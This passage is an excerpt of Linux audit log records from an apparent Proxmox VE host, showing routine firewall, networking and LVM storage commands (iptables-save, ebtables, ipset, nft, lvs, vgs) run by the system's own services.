{"@timestamp":1781965015681,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.681:63618): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964303664,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964303.664:60439): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965015675,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.675:63617): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964303664,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964303.664:60438): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965015669,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.669:63616): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964298651,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964298.651:60437): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965015665,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.665:63615): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964298651,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964298.651:60436): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965015662,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.662:63614): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964298650,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964298.650:60435): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965015661,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.661:63613): argc=1 a0=\"date\""} {"@timestamp":1781964298641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964298.641:60434): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965015657,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.657:63611): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964298641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964298.641:60433): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965015651,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.651:63610): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964298641,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964298.641:60432): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965015645,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.645:63609): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964295900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.900:60431): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965015641,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.641:63608): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964295896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.896:60430): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965015634,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.634:63607): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964295896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.896:60429): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965015628,"@rawstring":"node=pve type=EXECVE msg=audit(1781965015.628:63606): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964295896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.896:60428): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965014254,"@rawstring":"node=pve type=EXECVE msg=audit(1781965014.254:63605): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964295890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.890:60427): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965014225,"@rawstring":"node=pve type=EXECVE msg=audit(1781965014.225:63604): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964295882,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.882:60426): proctitle=\"ip6tables-save\""} {"@timestamp":1781965011485,"@rawstring":"node=pve type=EXECVE msg=audit(1781965011.485:63603): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964295875,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.875:60425): proctitle=\"iptables-save\""} {"@timestamp":1781965011476,"@rawstring":"node=pve type=EXECVE msg=audit(1781965011.476:63600): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964295868,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.868:60424): proctitle=\"ip6tables-save\""} {"@timestamp":1781965009333,"@rawstring":"node=pve type=EXECVE msg=audit(1781965009.333:63597): argc=6 a0=\"find\" a1=\"/var/lib/vz/dump/\" a2=\"-type\" a3=\"f\" a4=\"-name\" a5=\"*zst\""} {"@timestamp":1781964295861,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.861:60423): proctitle=\"iptables-save\""} {"@timestamp":1781965006466,"@rawstring":"node=pve type=EXECVE msg=audit(1781965006.466:63596): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964295858,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.858:60422): proctitle=\"ebtables-restore\""} {"@timestamp":1781965006451,"@rawstring":"node=pve type=EXECVE msg=audit(1781965006.451:63593): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964295855,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.855:60421): proctitle=\"ebtables-restore\""} {"@timestamp":1781965005617,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.617:63590): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964295850,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.850:60420): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965005613,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.613:63589): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964295845,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.845:60419): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965005613,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.613:63588): argc=1 a0=\"date\""} {"@timestamp":1781964295838,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.838:60418): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965005609,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.609:63586): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964295832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.832:60417): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965005603,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.603:63585): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964295827,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.827:60416): proctitle=697073657400726573746F7265"} {"@timestamp":1781965005597,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.597:63584): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964295819,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.819:60415): proctitle=\"ip6tables-save\""} {"@timestamp":1781965005591,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.591:63583): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964295813,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.813:60414): proctitle=\"iptables-save\""} {"@timestamp":1781965005585,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.585:63582): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964295810,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.810:60413): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965005578,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.578:63580): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964295806,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.806:60412): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965005575,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.575:63579): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964295804,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.804:60411): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965005570,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.570:63578): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964295804,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.804:60410): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965005565,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.565:63577): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964295800,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.800:60409): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965005561,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.561:63576): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964295793,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.793:60408): proctitle=\"ip6tables-save\""} {"@timestamp":1781965005555,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.555:63575): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964295786,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.786:60407): proctitle=\"iptables-save\""} {"@timestamp":1781965005549,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.549:63574): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964295781,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.781:60406): proctitle=69707365740073617665"} {"@timestamp":1781965005544,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.544:63573): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964295774,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.774:60405): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965005540,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.540:63572): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964295766,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964295.766:60404): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965005536,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.536:63571): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964294127,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964294.127:60403): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965005535,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.535:63570): argc=1 a0=\"date\""} {"@timestamp":1781964294097,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964294.097:60402): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965005531,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.531:63568): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964293633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964293.633:60401): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965005525,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.525:63567): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964293633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964293.633:60400): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965005518,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.518:63566): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964293633,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964293.633:60399): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965005514,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.514:63565): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964293627,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964293.627:60398): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965005507,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.507:63564): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964293627,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964293.627:60397): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965005501,"@rawstring":"node=pve type=EXECVE msg=audit(1781965005.501:63563): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964293627,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964293.627:60396): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965004153,"@rawstring":"node=pve type=EXECVE msg=audit(1781965004.153:63562): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964288617,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964288.617:60395): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965004123,"@rawstring":"node=pve type=EXECVE msg=audit(1781965004.123:63561): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964288617,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964288.617:60394): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965001444,"@rawstring":"node=pve type=EXECVE msg=audit(1781965001.444:63560): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964288617,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964288.617:60393): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965001436,"@rawstring":"node=pve type=EXECVE msg=audit(1781965001.436:63557): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964288605,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964288.605:60392): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965000072,"@rawstring":"node=pve type=EXECVE msg=audit(1781965000.072:63554): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964288605,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964288.605:60391): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965000072,"@rawstring":"node=pve type=EXECVE msg=audit(1781965000.072:63553): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964288605,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964288.605:60390): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965000070,"@rawstring":"node=pve type=EXECVE msg=audit(1781965000.070:63552): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964285754,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.754:60389): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964996421,"@rawstring":"node=pve type=EXECVE msg=audit(1781964996.421:63551): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964285751,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.751:60388): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964996413,"@rawstring":"node=pve type=EXECVE msg=audit(1781964996.413:63548): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964285750,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.750:60387): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964995490,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.490:63545): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964285750,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.750:60386): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964995487,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.487:63544): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964285745,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.745:60385): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964995486,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.486:63543): argc=1 a0=\"date\""} {"@timestamp":1781964285737,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.737:60384): proctitle=\"ip6tables-save\""} {"@timestamp":1781964995482,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.482:63541): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964285731,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.731:60383): proctitle=\"iptables-save\""} {"@timestamp":1781964995477,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.477:63540): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964285724,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.724:60382): proctitle=\"ip6tables-save\""} {"@timestamp":1781964995470,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.470:63539): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964285716,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.716:60381): proctitle=\"iptables-save\""} {"@timestamp":1781964995464,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.464:63538): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964285713,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.713:60380): proctitle=\"ebtables-restore\""} {"@timestamp":1781964995457,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.457:63537): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964285710,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.710:60379): proctitle=\"ebtables-restore\""} {"@timestamp":1781964995451,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.451:63535): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964285704,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.704:60378): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964995447,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.447:63534): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964285699,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.699:60377): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964995441,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.441:63533): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964285694,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.694:60376): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964995436,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.436:63532): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964285688,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.688:60375): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964995431,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.431:63531): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964285683,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.683:60374): proctitle=697073657400726573746F7265"} {"@timestamp":1781964995427,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.427:63530): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964285676,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.676:60373): proctitle=\"ip6tables-save\""} {"@timestamp":1781964995421,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.421:63529): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964285669,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.669:60372): proctitle=\"iptables-save\""} {"@timestamp":1781964995414,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.414:63528): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964285665,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.665:60371): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964995411,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.411:63527): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964285662,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.662:60370): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964995407,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.407:63526): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964285661,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.661:60369): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964995406,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.406:63525): argc=1 a0=\"date\""} {"@timestamp":1781964285661,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.661:60368): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964995403,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.403:63523): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964285657,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.657:60367): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964995396,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.396:63522): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964285650,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.650:60366): proctitle=\"ip6tables-save\""} {"@timestamp":1781964995389,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.389:63521): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964285643,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.643:60365): proctitle=\"iptables-save\""} {"@timestamp":1781964995385,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.385:63520): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964285637,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.637:60364): proctitle=69707365740073617665"} {"@timestamp":1781964995379,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.379:63519): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964285630,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.630:60363): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964995373,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.373:63518): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964285624,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.624:60362): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964995042,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.042:63517): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964285024,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964285.024:60361): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964995010,"@rawstring":"node=pve type=EXECVE msg=audit(1781964995.010:63516): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" 